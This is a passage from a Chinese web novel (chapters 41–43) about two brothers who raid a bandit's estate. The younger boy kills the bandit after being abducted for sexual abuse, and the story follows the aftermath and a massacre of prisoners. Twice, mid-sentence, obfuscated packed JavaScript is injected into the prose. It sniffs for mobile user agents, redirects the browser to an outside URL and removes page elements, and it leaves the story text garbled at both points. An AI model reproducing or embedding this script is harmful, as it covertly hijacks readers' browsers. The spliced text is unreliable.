刘具的笑容凝在脸上,他死前大约也淋到了自己的热血,却没来得及反应到底是怎么回事。 小天仙儿说什么呢? 他说:“刘具,上西天咯。” 刘具直挺挺的倒在了地上,高濯衡也随之摔在了地上。 他靠的近,全身被淋满了血。高濯衡自那滩黏糊糊的血里爬出来,脚底抬起都粘稠,走一步一个血脚印。 床上那个已经吓得不能动弹了。 高濯衡眨了眨眼睛,扯过被子给他盖上,说:“别怕,没事了,不疼了,他…死了。” 41.刘具死了,那二宝呢? 高承翊这边十分顺利,只用了五个人绕后,再加上他和三个弓箭手,就处理掉了望楼上放哨的人。 往山上走时,每过一处,就灭一处的灯,好让他们所有人隐藏在夜色下。 宋遥留下的几个斥候,此前已经绕山查探了一番,这地方大,只走了大概一半的路。 大小连绵共有四处山头,除去屋舍外,平地处皆有垦田,坡地则有果树。 山腰处有水库,水流至后山,后山脚则是大片平坦的水田,约有六七百亩。 算上山林水库,整座山庄不下万亩。 高承翊边走边计算着,这里若是用得好,能养活一两万人。 前军斥候来报:“前边有几十间屋舍,看上去像是佃户和下人住的地方。” 佃户是帮地主耕田的,下人是给地主打杂的,虽说不是手无缚鸡之力,可对上当兵的,那些人还不够看。 但若不管,上头打起来,这些人万一拿着刀子农具绕后,被咬一口的可能性依然存在。 这种时候要看将领的决定,若遇上嗜杀的,冲进去见人就杀以绝后患,但如此行径必然会让己方士兵不安,若非本性嗜杀之人,是不会愿意跟随这样残忍的将领的。 高承翊此前就定下了投降不杀的规矩,定规矩的人都不守规矩,队伍便会无法无序。 “留下三十人,包围此处。”他选择了在本就不多的人里,抽调出三十个人看住这里,“若有反抗者,先喊话劝降,不动者不杀。” 宋遥道:“分三十个太多了吧?” 本就只有不到四百个人。 高承翊道:“若是里边的人一直没动静,这三十人也可做埋伏后援。” 其实趁其不备一起冲进去是最快最干净的做法,但高承翊太仁慈,又太谨慎。 “宋遥你带人留下来,孔详、张廷皓跟我走。”高承翊道。 宋遥:“凭什么啊?我也想上去!” 士兵们也都想上去,拿人头算银子的。他们愿意来这儿,就是为了银子和粮食。 宋遥没打过仗,这几日听闻了高承翊骑射和马刀耍得那么厉害,就想着也跟着他威风一把,正一身的牛劲儿加热血呢。 高承翊看出来的,他肩上担子重,都谨慎过头了,见宋遥如此便想压一压他的冲劲,怕他冒进吃亏。 他不说你没打过仗,你热血上头怕你受伤,他说:“你最聪明,交给别人我不放心。” 宋遥被他夸高兴了,也不好再反驳,可挠了挠头:“这里很重要吗?” “当然重要了!”高承翊张嘴就是忽悠,“这里都是种田的人,不把他们看好了,你去犁地?” 宋遥眨了眨他有些迷茫带着点无辜的半大不小的眼睛:“嗯?…嗯…也…也对?” “我这可是把退路交到你手里。”高承翊拍了把宋遥的肩膀,“要是上头不行,我撤下来还得靠你呢。” 宋遥顿时觉得自己的工作十分光荣,高大兄弟果然是个靠得住的人,他对着高承翊坚定的点了点头,并就此下定了这辈子都跟着他干的决心。 宋遥顺理成章没等到高承翊的败退,上头打的又快又顺,这边的佃户们听到动静起床出门查看时,宋遥命人点起火把,几个兵往哪一站,佃户们二话没说,立马降了。 宋遥便叫管事的把佃户们全叫出来,他好一并看管着,等高承翊那边结束后,再安排这些人。 他家中沿街卖货是没有田产的,在他的认知里,农户的日子是比小商户要更舒坦些的。有块地,有收成,不用怕饿死,即使去给大户人家当佃户,每日也有白米,年底是有分银,分布的。 可等人都齐了,入眼却全是面黄肌肉,衣衫褴褛之人。 这么看着,竟不知谁是抚州灾民了。 他问:“怎么这幅样子?” 没人敢回话。 宋遥就对着刚刚喊他们出来的那人问:“我看这里不过几十间屋子,你们有三百多人吧?这…还有小女孩儿?全睡一起?瘦成这样儿,刘具不给你们饭吃吗?” 在宋遥的认知里,佃户也是有户籍的,雇佣关系,地主不给钱,他们就可以去报官。 那管事的也只是个年纪稍长的佃户,瞧他们像当兵的,便开口回话道:“我们原本都是这山中的村民,这片山本是三个村儿,前边是南湖村,中间这块儿是平谷村,再后头是湾坑村。” 南湖村离外头最近,平谷位于山中,这两个村子人少些,加一起大约五百多户,湾坑村多水田,有七百户人家。 几千来人,地里种田,山里有果树,过着自给自足的小日子,小村儿还挺像桃花源那么回事儿的。 直到这块地方,被刘具看上。 他要买下这里,却又不想花太多钱,还要让村里的人留下来,帮他耕田。 可谓是坑蒙拐骗,威逼利诱无所不用其极。 他起初是趁夜找人来踩踏田里的秧苗,在村民家里放老鼠,还炸了南湖的堤坝,上游的水冲下去淹掉了湾坑村所有的田。 村民们当时并不知道那些事儿都是他干的。田被淹了,存粮被老鼠吃了,村民们没办法,只能卖田换粮食。 刘具就是当时来买田地的。 被淹了的地,价格被压的很低,但刘具装出一副好人模样,让村民们别担心,卖了地后,可以留下来当佃户,还是有地种,有粮吃。 大家信了他,便将地卖给了他,还给他当了佃户。 谁知没过多久,刘具给的饭食越来越差,稍有错处,还要倒扣粮食和工钱。 之后他变本加厉,凭着跟官府的关系,把那些没卖给他的地也强占了,三个村全归了他。 农户没了地,只能外出做工,再有就是受不了他盘剥的也都逃了。 只留下他们这些老弱的,出去了也没活路的,继续在这儿种地。 这几年,白日里耕种,食不果腹,衣不蔽体,病了没钱买药,人死了大半。刘具就从外头抢人来继续给他种地,抢来的人要跑,他就修了望楼,让他的那群道上兄弟分班守着,还拿着鞭子,抽打他们监督他们干活。 宋遥和那些兵们听得咬牙切齿,痛骂刘具猪狗不如。 佃户们听他们骂刘具,便知这些人不是和刘具一伙儿的,便问:“军爷们是官府派来抓刘具的吗?” 宋遥一仰脖子居然应下了:“嗯,那可不是。” 他这姿势挺逗,但在佃户们眼里,特威武。 宋遥一腔热血又上来了,他想这些人对刘具苦大仇深的,蚊子再小也是肉,三个臭皮匠,顶个诸葛亮,不如把他们一起带上,冲上去。 总之他是想痛快打一场的,他这些兄弟们也想去拿人头换赏钱。 不过…高承翊夸他聪明来着。 聪明人眼皮一挑,想到个好主意:“你们就这些人?” 佃户们点头:“都在这儿了,几十个人挤一间屋子,都是打地铺睡的。” “你们知道,刘具抓了人关哪儿吗?”宋遥问。 有个男人道:“我知道,我就是被抓来,在那被关了几天。” 宋遥接着问:“都关一起?有孩子吗?小男孩儿?” 有几人一起点头,他们都是被抓来的:“有。” 宋遥一拍手,吹起牛来不打草稿:“大伙儿听我说!咱们有两千多人已经冲上山了,如果我猜的没错,刘具现在肯定被吓的屁滚尿流四处逃呢!想报仇的,有刀子的拿刀子,有斧子的拿斧子,实在没有锄头,耙子,木棍都行,大家随我一起冲上去,有仇报仇有怨报怨!运气好的砍下那刘具的脑袋,拿来给我们指挥,全给算银子!” 这些人如今还留在这儿,都是些比较软弱,身体不好的。 宋遥如此热血沸腾,这帮人纹丝不动,都给他急跺脚了:“还怕什么呢,你们就算不去,在这儿总有一天得被折磨死,种地累死,生病病死。” 他指了一个十二三的女孩儿:“她是谁家闺女?” 一个中年男人忙把孩子拉到他身边,护在后头:“军爷,我跟你去,你别打孩子主意。” 宋遥道:“糊涂,我打她主意干嘛,是那刘具和他那群禽兽手下,迟早要打她主意。” “是啊,这军爷说的对!”一个男人道,“我,我有柴刀!” “我也去!” “我也去!” 一时众人响应,宋遥待他们拿好武器,手一挥,就把人往山上领:“你们先带我去他们关人的地方,把他们抓的人都放出来。” “好!” 跟着他的那些兵往山上冲的飞快,就怕抢不到人头。 高承翊和宋遥几乎是同时取胜的。 高承翊杀进了宴厅,宋遥则是杀光了看守,冲进了他们关人的地方。 夏辛跛着脚就冲出来了,他都没看清来人,只想着去找高濯衡。 宋遥眼睛厉害,借着月光,在混乱的人群里,一下子就把夏辛拎在了手上。 他抱着夏辛的腰,给他夹在了手臂下,这边不忘指挥道:“不要乱!大家不要跑!全进屋里等着,谁跑砍谁,错杀概不负责。” 夏辛听出了声音:“遥哥!” 宋遥哼笑:“亏你还认得我,瘸了还跑那么快,想去哪儿呢?” 夏辛:“我家二爷,被他们单独带走了!” “走,我带你一起去找!”宋遥大步往前跨,“留几个兄弟守在这儿,指挥回来前,一个人都不准放跑咯。” 士兵们应声:“是!” 宋遥就这样夹着夏辛,带着人,大摇大摆的往正厅走。 厅里杀声也逐渐停了,地上有死人,还有一些丢了刀,抱着头投降的。 高承翊看了一圈,没找到他的二宝。 他问后边的越州兵:“你们有知道刘具长什么样的吗?” 那几个越州兵今日杀得尽兴,一扫之前兵败颓势,比来时看着精神多了:“不在这儿。” 不在这儿! 不妙! 高承翊单手拖出个人:“刘具在哪儿?” “就是他。”一个兵道,“白日里带走小少爷的,就是他。我记得清楚,黄牙老鼠样儿。” 黄牙吓得发抖:“英…英雄…饶…饶命,我…我带你们去。” 高承翊放下他,踢了一脚:“快!” 黄牙连滚带爬的带着高承翊他们往后屋走。 他其实已经走的很快了,高承翊嫌他慢,只要跟上他,就给他一脚,那真是用足了力气踢的,给黄牙疼的,感觉再挨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“哦。”都这样了,似乎也没必要太保护着孩子,懂些脏的污的,才能在乱世存活,宋遥瘪瘪嘴道:“小孩儿估计看着你弟杀人,被吓着了。” “什么?”高承翊一点不信,“你别胡说!” “我没胡说,里头就仨人。”宋遥道,“你弟弟高濯衡,那小孩儿,刘具。那小孩儿被扒光了,腰往下全是血,肠子都破了,总不能是他把刘具杀了吧,只有你弟弟。” 他顿了顿:“黄牙也说,是看衡儿长得漂亮,怕被刘具折腾死了,再找个孩子,让他先…” 高承翊站起来。 “去哪儿啊?”宋遥问。 高承翊道:“你们先清点人数,打扫战场,我去找人。” 夏辛跟上:“我也去!” 高承翊按住他:“我想衡儿是躲起来了,你别跟着跑了。药我已经买来了,今晚把这边收拾好,明天我就把邵一苇带来,让她给你治伤。万一你出什么岔子,等衡儿回来我不好交代。” 高濯衡用床单擦了刀,他本来打算带那孩子一起走,他并不知道高承翊马上就会到,只想着若再有人进来,他肯定就跑不了了。 可那孩子不仅被吓得说不来话,下身还一直在出血。 高濯衡便将他盖好,自己从窗户爬了出去。 他想去找夏辛,却又怕撞见人,又被抓回来。刘具被他杀了,一但他被抓住,必死无疑。 而夏辛是被关押起来,却不一定会被立马杀死。 他考虑再三,打算先去把马拿回来。 黑灯瞎火的,他弓着身子,尽量往草里钻,跟着白天的记忆,往马厩走。 才走到一半,外头的喧闹声和兵器交接的声音就响起了。 于是高濯衡躲进了一间空屋子后,用杂物将自己盖起来,打算静观其变。 “衡儿!” 此地已被占领,又知他一个孩子跑不远,高承翊便开始高声唤高濯衡的名字。 “衡儿!” 高濯衡躲在杂物后的一个竹筐里,他抱着刀,神识还在游荡,其实什么都没想,就是晕乎乎的。 他杀了人… 用母亲的短刀。 “衡儿!” 衡儿? 是啊,我叫衡儿。 等等!是谁在叫我? “衡儿!” 高濯衡突地站起,顶开了他盖着的竹筐,踢开杂物,往声源跑去:“哥!哥!” 他跑得声音都跟着脚步打颤儿了,一声声的‘哥’字全是颠颠儿出来的。 月光下,那个朝他跑来的人,高大可靠,他的肩膀宽阔,胸膛厚实,他蹲下来张开臂膀,高濯衡就撞进了他怀里:“我…我就知道,你肯定会来救我的!我就知道!你肯定会来的!夏辛还被他们关着呢!” 高承翊抱着弟弟的肩膀,抚摸着他的额头:“不怕了,没事了!没事了!” 他这话是在安慰弟弟,也更是在说给自己听的。 高承翊你不用怕了,弟弟还在,他还在。二宝他全须全尾,正靠在你怀里呢。 42.他会迷茫,会犯错 他将高濯衡抱去室内有灯的地方,才看清他脸上发上全是血污,手上粗略擦过但指缝里还留着血。 脖子往衣服里延伸,也全是干了的血痂。 高承翊又紧张起来,夏辛也跟了过来,看见他二爷身上这么多血,本就惨白的脸,被吓得更白了。 “哎呀!哪儿破了?哪儿破了?” 高承翊也推着高濯衡转着圈看,上上下下,从头到脚用手轻捏了一遍。 “不是我的血,我…没事。”高濯衡跟着哥哥的手打圈儿,像个小陀螺。 高承翊这才停手,确定高濯衡面色如常,才信真的不是他的血。 因他们是举兵杀来的,高承翊又许下了拿人头算钱的承诺,故而除他亲自在场的宴厅中,还有因他下令停手而活下来的人,其他地方甚少留有活口。 士兵们不常征战,只有少数人真的割了头绑在腰上等着算银。 高承翊早让孔详留意着,记下那些人的名字,这样勇猛嗜杀的,最适合当先锋。 现宴厅中所留,皆是此团伙中有些地位和职务之人。 接手如此大的一处山庄,需要办的事不少。首先就是要弄清楚,刘具的所有财产和背景靠山。 于是宴厅中所留者,不能杀绝,有些事,还需要他们去办,才能隐秘的将山庄、赌坊等刘具的产业全数易主。 高承翊交代士兵们将尸体埋于后山,腐坏的尸体会导致疫病,故而一定要深埋。 屋子里沾到血迹的地方,要刷洗干净。 这是今晚做好才能休息的,其余的事,则可明日再慢慢来。 孔详便问他宴厅里的那些人该怎么办,若是全部关押,看守力度太大,万一让他们逃走就麻烦了。 “嗯…留几个吧。”高承翊道,“要审一审。” 孔详问:“就是不知道该留谁,要不你去问问话,看看谁更合适些。” 高承翊也很犹豫,他根本不了解那些人,并不好判断哪个有用哪个没用。 万一遇上个跟他说谎的,他都无法判断那话是真是假。 高濯衡一直跟在后边,看到大哥似有犹豫后,立马明白了高承翊的想法。 刘具除了此地,在别处还有资产,那些钱财,地产,铺子具体在哪,都需这些人交代出来。 刘具手下有几百人,包含今日在此的,死了的和还活着的,还有今天不在的,这些人手里也经手或管理着刘具的钱财。 再有便是,有没有什么帮派的二号人物不在此地,若刘具死亡之事败露,他的靠山是否会帮他报仇。 简而言之,就是要将此次掠夺的利益最大化,风险最小化。 审问这件事高承翊没干过,孔详他们肯定也没有,若问出些假话,难免会吃亏。 关键是要在这些人里,找到一个突破口,从而让他们互相怀疑、攀咬,才能更好判断真假。 “哥,我有办法。”高濯衡道,“有个黄牙还活着吗?” 他那大黄板牙,十分醒目。 “我听人叫他四爷,叫刘具三爷。”高濯衡道,“难道上头还有二爷和大爷?” 宋遥道:“没有,佃户们说就刘具一个人做主,只是他在家中排行第三,叫三爷叫惯了。那黄牙想跟他攀亲戚,认他当哥,自愿排的老四。” 高濯衡微微点头后道:“带我去宴厅,再将那个黄牙带过来。” 高承翊牵他的手紧了紧。 高濯衡道:“没事的,且看着吧。” 他们先去的宴厅,厅中的人全认出了高濯衡,毕竟开宴之前,刘具可是把他当宝贝一样,显摆了一大圈给他们看。 这会儿也明白了,是掳走了人家弟弟,大哥带人寻来了,惹上了不该惹的硬茬。 不过他们这时并不知道刘具已经死了。 接着,便有人将黄牙和刘具的尸体一并带了上来,当然还有那个男孩儿。 孩子血出了太多,是被两个兵架着抬出来的,却在看到了高濯衡后,惊叫着挣扎,推开人,滚到了地上。 高濯衡只往他那边走了一步,他便急切到慌不择路的想要爬走。 仿佛高濯衡比将他害成这样的刘具还要可怕。 在他眼中的确如此,高濯衡笑着割了一个比他强壮三四倍的成年男人的喉管。 那声「刘具,上西天咯」,天真无比,也阴狠无比。 他看见肥壮男人的血像碳炉倾覆后的火焰,那个比他还小的孩子,拿着刀满身是血爬起来的样子,就是个披着人皮来人世报仇的厉鬼。 而在场者,也被吓到了——因为刘具的尸体。 这具光着的,浑身沾满血的尸体,刚刚还在这个宴厅中,和他们喝酒吹牛。太监们一走,他就迫不及待的要去后屋,上他的小天仙儿。 接着是魂不守舍的黄牙。 高濯衡转向,往他那走,黄牙坐在地上,身体后仰,踢着腿想往后退,孔详把他踢了回去,呵斥道:“老实点!” 高濯衡抽出了腰中的刀,黄牙当然能想明白,刘具就是这孩子杀的,且手段特殊又残忍。 刘具力大个高,早年出了名的能打,才混出了名堂,这几年虽贪图享乐,人胖了不少,可也绝不会简单的就输给一个如此弱小的孩童。 刘具死状凄惨,可说是喷掉了全身一大半的血。如今这凶手拿着刀对着他,他不明白刘具为何会死在这样一个孩子手上,更加惧怕起来。 难道也要把他的血放干? 天爷啊,死就死,能换个干脆点的死法吗? 高濯衡把刀子搭在了他脖颈上,那声音阴恻恻的:“就是这个位置。” 黄牙颤抖着尿了裤子。 骚臭味飘到了每个在场者的鼻腔中,高濯衡嫌弃的扇了扇气味,对黄牙挑了挑眉毛说:“你乖些,二爷保你条命。” 黄牙用他糊住了的脑子想了半天,才明白这孩子在学他说话,且那‘二爷’指的是他自己。 黄牙这才抬头去看高濯衡,他燃起的求生欲驱使他立马翻身下跪,也不管其他,直对着高濯衡磕头:“二爷饶命!二爷饶命!二爷饶命!” 高濯衡便道:“我有话要问你。” 他接连问了几个关于山庄和刘具的事,都是很浅显,好表述且能很快判断真假的事。 比如山庄的占地亩数,房屋数量,刘具还有几间赌坊之类。 黄牙边磕头就边全答了,还顺带自白了自己帮刘具打理的大小事务。 目的达成,高濯衡立马叫停:“将他带下去吧。” 这对在场者是个警醒,黄牙会因为恐惧说出所有的事,这样在明日审问时,他们便不敢再说谎,倘若说的和黄牙不同,必定会挨刀子。 但实则黄牙只是当下被吓着了,等他缓上一晚,明天又会生出什么别样的心思,就未可知了。 但无论如何,都在当场者的心里留下了一份猜忌。 高承翊一直站在高濯衡身后,他扶着腰侧的刀柄,守护着弟弟。 黄牙被带走后,他才缓缓冷哼了一声:“留一半,其余全杀。” 轻轻一句话,引得厅中一片求饶磕头声。 他们和黄牙本就一丘之貉,为了活命立马自白攀咬起来。 什么我比他知道的更多,什么好汉饶命,我有钱,我的钱全给你,什么求求你们留我一命,让我干什么都行。 他们这些人,哪个手上没些欺男霸女的案子,人命债都没少背,欺负的都是平头百姓。走到这一步,高承翊已没有多余的同情心。 恰巧此时那个男孩在惊惧中咽过了气。 高承翊顿时也明白过来,并不是所有孩子都像他的衡儿那般聪明,也并非有所孩子,都像他的衡儿这样幸运,被吓住不敢动的,受不住被奸/辱而死的,是大多数。 他今天差点就失去了弟弟,且还是以这样屈辱的方式死去。 高承翊没再说什么,带着高濯衡转身出去了。 宴厅的门关上后,窗上刀光剑影,朱红溅落。 兄弟二人并排站在门外,大手牵着小手,都没说话,却都明白他们两人皆因这场劫难迅速成长,且改变了。 半晌,高承翊才开口道:“战后诸事仍需处置…你先和夏辛,找间屋子休息吧。” 高濯衡问:“哥要和张廷皓他们商议庄子的布防吗?” 高承翊点头:“还要算清伤亡。” “那…一个时辰能结束吗?”高濯衡问。 高承翊:“差不多吧…奋战一番,大家都要休息。” 高濯衡这才松开手。 高承翊蹲下摸了摸他的头,只要看向弟弟,他眼神中就全是疼惜,心也尚且柔软。 高濯衡问:“哥等会儿来吗?” 高承翊扯出了个笑:“当然了,我也要休息睡觉的。” 正当他准备站起时,高濯衡睁着水汪汪的大眼睛,凑近抱住了他:“那…我等你。” 孩子走时脸上可委屈了,高承翊最吃不消他这样,哪还舍得说什么不用等,只想着快点结束,回去哄弟弟了。 高承翊匀了两个兵给孩子当护卫,山庄内厢房众多,且都备着床。 不过高濯衡一身血污,洗干净废了些功夫。 刘具会享受,这样的庄园,主人洗澡的地方是单独修建的。外间有放干净衣裳的架子和冬日放火盆的碳架。 里间是一处浴池,并立有一个单独的大浴桶。 其中浴池下挖至小腿高,四周围木板,底部通至屋外地沟,可站在池中冲洗身子。 浴桶则和高濯衡在家时所用是一个材质,松木。 热水冲入后,能闻到阵阵松香。 为了有足够的热水能洗的舒服,浴池边还另造了一处锅炉房,大铜锅装水,燃料用的煤块,火大,烧得快。 并修铜管连 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17192681|195711||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 至浴池,浴池处有铜制阀门转开即可得热水。 热水经铜管后稍有冷却,但仍需提前备凉水掺入,调节水温。 高濯衡的头发洗了两遍,才将血污彻底洗清,身上也是,冲干净血痂,再涂上胰子细细搓洗。 确定身上没有一丝血污后,才泡进浴桶。 这是他离开家后,洗得最舒服,最干净的一个澡。 夏辛还在外头守着,原本一起洗是没什么的,只是高濯衡不想让夏辛看见他腰上的金鳞。 以脏的程度来说,高濯衡更胜些,故而他进来先洗。 如今这会儿泡着了,他不想那么快出来,就把夏辛喊进来洗澡。 夏辛的腿碰水会疼,不能泡,只能站着淋水,还得把伤腿支一边,仔细着少淋些水。 夏辛还是第一次跟高濯衡一起洗澡,他挺不好意思的,他拿了块屏风隔在了浴桶和浴池中间,还一直背着身子。 高濯衡泡在热水里,有一搭没一搭的和他说些话。 问起他被单独带走之后的事,高濯衡便全都跟他说了个清楚,说到拿刀子割刘具脖颈那里时,高濯衡的声音变小了,且不再带有起伏。 他本能的想将自己抽离,可那确实是他所为。 夏辛推开屏风,托起了高濯衡靠在浴桶边的脸。 高濯衡这时才发现,不知不觉间他的脸上已全是眼泪。 “你…最近都不太哭了。”明明之前是最爱哭的,“反倒是我,总在掉眼泪。” “娘亲说,哭没有用…”高濯衡道,“哥哥已经很累了…我若是再哭闹,又要惹他伤心。” 夏辛拇指摩挲着他脸颊上的眼泪:“你可以在我这儿哭的,分明难受还憋着,会憋坏的。” 高濯衡道:“我是不是…特别坏?所以那个小哥哥才会怕我,被我吓死了?” “人的胆量有大小之分。”夏辛道,“我起初看见我阿娘受欺辱时也很害怕,若我当时也像你一样,立马能奋起反抗,我阿娘肯定就不会死。” 高濯衡问:“难道我没有做错吗?我骗了他,我当时…一点都不像我自己。可…或许我就是那样残忍的,我的本性…就是坏的…所以才能在那样的情况下那么的冷静。” 正常人都该慌张的,慌张害怕才是对的。可那时的高濯衡,甚至连心跳都没有加快。 他能清楚的感觉到,原本因刘具到来而慌张的心,在眼前一阵阵的撞击中,逐渐恢复平静。 只剩下一个想法:我要杀了他,才能活下去。 “你必须要杀了他才能活下去。”夏辛准确的说出了他心中所想。 他那个老实又直爽,总是一本正经的夏辛说:“会伤害你的,阻拦你去路的,都该杀。” 变得何止是他和高承翊呢。 高濯衡退进了浴桶里,垂下眼睫,半晌才道:“你退去屏风后边吧,我要穿衣服了。” 他那时还是懵懂的,但也是从这件事开始,他明白了人性的恶念是会被激发的。 如果他一直是高家二公子,如果他不被刘具抓去,如果刘具不在他面前行恶,他便永远不会知道自己那么会骗人,自己杀人时手都不会抖。 他们的境况不复当初,现今奉行夏辛的话,才是正途。 抚州沦陷,只是一场还未扩大的小范围战争,就造成了包括他们兄弟在内的无数属于这片土地子民们的悲剧。 ‘乱’催生了‘恶’,并将‘恶行’掩埋在‘乱象’之下。 抚州是刚沦陷不久的,可刘具那群人早已为恶多年,他们的行为,不是战争造成的。 在此之前,难道不是太平盛世吗? 只有野蛮的动物才是弱肉强食,以大欺小的,人不可如此,不当如此,也绝非如此。 他又想起城破当日的情形,高濯衡数不清有多少只手托过他的身体,他们互不相识,有男有女,年岁不一,却在生死关头,不约而同选择了将一个孩子,托举着往外送。完成了一件,看似绝不可能完成的事。 没有一个人松手,也没有一个人将他拽下踩在脚底。 他听着各种不同的声音说:帮帮忙,这是高总督家的小公子。 高濯衡当时还小,他并不清楚高琰于江南两省为官近二十载,为百姓做了多少事。却也明白,百姓们是记得住恩情,且愿意回报恩情的。 他今日还活着,就是证明。 他在夏辛这儿得不到答案,高濯衡在心里小小的抱怨着,如此亲近的夏辛,一起长大的夏辛,为什么不明白他的疑惑?为什么不能给他答案。 可这个答案只有他自己能给自己,终有一日他会悟到,接着他便会如同一个求道者般,坚定的走在他奉行的道上,尽他所有的努力,去实现这个‘道’。 他会遇到赞同他的人或反对他的人,他会有很多的盟友和数不清的敌人。 他会迷茫,也会犯错,但绝不会停止。 43.咱们俩才是亲兄弟 高承翊忙完后已经是后半夜了,他原是不敢卸甲的,但孔详和宋遥两人再三保证,他们俩亲自负责守夜,让高承翊一定要好好洗个澡,睡一觉。 他从城中回来就没休息,在外头一晚上,除了拿回一堆银子还滚了一身的泥,脸色特别难看,才这几天,就肉眼可见的消瘦了不少。 高承翊摘下头盔,双目因疲惫略微凹陷,眼底透着乌青。 宋遥道:“衡儿不是说等你回去吗?躺他身边睡一觉吧,经这一遭,他肯定有委屈要与你说的。” 无论是在船上,还是在码头租的屋子里,他们睡在通铺时,高承翊总会把弟弟放在身上,给弟弟当床垫。 他犹豫后,终是点头:“好。”并拍了拍宋遥的肩膀,“多谢。” 烧火的大爷也睡下了,好在铜锅炉厚实,水不易凉,那一大锅是孩子们没洗完的,正好他放出来洗了个澡。 待他从浴室内间出去,高濯衡就已经坐在外间的小凳上等他了。 “什么时候来的,突然坐这儿吓我一跳。”高承翊正擦着头发上的水珠。 这边虽有干净的中衣,却都是成年男子的尺寸,高濯衡找了件小的穿着,还是很大,领子挂不住肩膀,袖子挽了十几个道儿,整体松垮的搭在身上,加上他那副又困又倔强非得等着,撑着不肯睡的小表情,让高承翊不由得笑了出来。 他顺手将毛巾松垮的搭在头顶吸水,弯腰将孩子抱了起来。 木躺椅上铺着厚棉布,他顺势靠躺上去,让高濯衡趴抱在了他身上。 揉了揉弟弟的脸蛋儿,高承翊舒服的叹出了长长的一口气。 “睡着了吗?”他问的之前。 高濯衡道:“没有。” 高承翊说:“你刚刚像个弓着背炸毛的小猫儿。” 高濯衡把下巴支在他肩膀上,歪着头瞧他,“那样的小猫儿很可爱,可我…刚刚在耍心眼儿,干坏事。” 高承翊也微微歪头,和他四目相对:“母亲之前教你耍心眼儿要让别人看不出来是不是?”他微微一笑,“你学会了。” 高濯衡道:“这得分人。” 高承翊前襟虚拢着,这样躺下后,胸膛几乎都袒露在外,弟弟的小手就贴着皮肉,放在他的身侧,软乎乎的,还挺暖和:“你觉得他不够聪明?可这样的,在绝大多数人里,已经是十分精明的了。” 高濯衡点头:“他还是被唬住了,你带了那么多人来,他害怕。” “他更怕弓着背的小猫儿。”高承翊半勾着高濯衡的肩膀,“你要把老鼠吓死了。” 他听出哥哥想打听他和刘具的事宜,他告诉夏辛时十分痛快,可谓是事无巨细,可却不想跟哥哥说。 这就是夏辛和高承翊的不同,夏辛会直白的问他,高承翊则会先试探,问的婉转,若他不愿意说,高承翊就不会再问了。 他会和夏辛说,是因为夏辛与他同岁,两人看待事物的角度方式和想法都很相似,夏辛不会教他怎么做,很多时候夏辛自己都不知道,但他会说:总之我都陪着你。 其实还有隐秘的一点,因为他和夏辛是主仆,即使两人关系再亲密,他待夏辛如何好,会哄着他,亲近他,放任他,但他们从见面的第一天起,就是主仆。 固化的思维方式并非短短几日就能改变,在高濯衡的潜意识里,无论真实的他,是怎样的奸诈狡猾,都可以给夏辛看,因为只有主子不要仆人,仆人不能嫌弃主子。 可哥哥不同,他乖乖听话,他好好读书,他对哥哥撒娇,都是孩子为讨大人欢心和怜爱的小手段。 他想在哥哥面前维持着乖弟弟的形象,就像一个家长眼中的乖孩子,在学堂欺负了别的孩子,不可能回家告诉父母一样。 见弟弟不回话,总是适可而止的高承翊,今日却怎么都想问个明白:“衡儿…不想说吗?你等我,不是想说那件事吗?” 高濯衡当然有必须要说的事情,但杀刘具的事,他会轻飘飘带过:“哥,你来越州后,见过一个穿着深色织锦袍,长得…非常好看的男人吗?” “非常…好看?”他这说的太笼统了。 高濯衡点头,仔细回想着温寻墨的模样:“鼻子很高,”他比了比自己的鼻子,又看了看高承翊的,“比哥的鼻子尖一点儿,这儿…”他指鼻梁,“微微凸起来,像一个小驼峰,可是又不像别人的大驼峰那么突兀,总之…是好看的。袍子颜色很深,可织金的线亮晶晶的闪着光,却又不俗气,很瘦很瘦,大约三十多岁,眼睛长长的,往上挑。” “你问这个做什么?”高承翊想到了在军营牢中的那个太监——温公公。 “若没他,我或许就和那个孩子一样了。”高濯衡道,“傍晚时,刘具就搜身收走了我的刀。他把我关在屋子里,用锁链拴着。是那个人进来,解开了铁链,还把刀还给了我。他是京城来的,知道你的名字,还认识爹爹,他说爹爹还活着,目前性命无虞。” 高濯衡一旦说起事,是快而准,绝不拖沓的,“我求他带我走,但他说,路要自己走,事要自己看清楚。如果他不给我刀,不说那番话,我可能也没胆量去…” 兄弟俩一对视,高濯衡在哥哥的神色中看出了端倪:“你真的见过他?” 高承翊:“我…不确定。” 高濯衡又道:“刘具今天是请一个叫温寻墨的太监吃饭,”他那时站在一边,听完了黄牙说的故事,“我说的那个人,是不是就是温寻墨?” 孩子还不甚清楚太监是什么,为什么叫太监,宫刑又是什么,只当是个官职。 “太监…是什么官职?”高濯衡问,“黄牙说,是御前的人,意思是皇帝身边的大官吗?比爹爹的官职还要高吗?” 他对温寻墨充满了好奇:“他是刘具的靠山,却把刀给我,暗示我可以杀死刘具。是何意味?那…刘具还能算有靠山吗?” 这一条很重要。 “太监是内官的官职,司礼监秉笔兼东厂提督,是正四品。”高承翊道,“虽是四品,他却没有上官,只听命于皇帝一人。” 小孩儿更想不通了:“他给刘具当靠山,那刘具靠着皇帝?” 高承翊被他的想法逗乐了:“傻瓜,皇帝怎么可能知道刘具这样的小人物。” “东厂的势力很大,帮着皇帝监视百官,他来这儿就是皇帝的耳目,回京后要将这边官场,抚州战局的所有动向,悉数禀告。这样的人,没人敢惹,他若想要一个人死,直接去皇帝面前吹句耳旁风就行了,百官都怕他,地方官更得供着他。” 